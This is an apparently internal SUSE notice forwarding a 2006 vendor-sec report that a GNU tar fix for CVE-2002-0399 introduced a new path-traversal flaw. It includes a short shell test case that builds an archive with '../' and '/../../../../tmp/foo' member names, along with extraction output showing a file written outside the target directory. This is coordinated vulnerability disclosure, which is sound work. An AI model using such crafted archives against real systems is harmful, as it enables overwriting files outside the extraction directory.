We received the following report via vendor-sec.
This issue is not public yet, please keep any information about it inside SUSE.

The described archive doesn't work on 10.0, on SLES8 it does. So tar versions in releases in between may also be vulnerable.

Date: Mon, 23 Jan 2006 14:02:01 -0500
From: Josh Bressers <bressers@redhat.com>
To: vendor-sec@lst.de
Subject: [vendor-sec] Old tar issue

We have recently discovered that when we fixed CVE-2002-0399 in GNU tar, we
added a different similar issue.  Here's a test case if anyone wants to
verify:

$ > a/foo
$ > foo
$ > /../../../tmp/foo

$ tar cvfP test.tar ../foo ./../a/foo /../../../../tmp/foo
../foo
./../a/foo
/../../../../tmp/foo

$ tar -xvf test.tar
../foo
./tar: ../foo: Member name contains `..'
./../a/foo
./tar: ./../a/foo: Member name contains `..'
/../../../../tmp/foo
./tar: /../../../../tmp/foo: Member name contains `..'
./tar: Error exit delayed from previous errors


Note the extraction of /../../../../tmp/foo

This issue is currently embargoed, if it affects anyone else (you used our
patch), we can coordinate a release date.

-- 
    JB
_______________________________________________
Vendor Security mailing list
Vendor Security@lst.de
https://www.lst.de/cgi-bin/mailman/listinfo/vendor-sec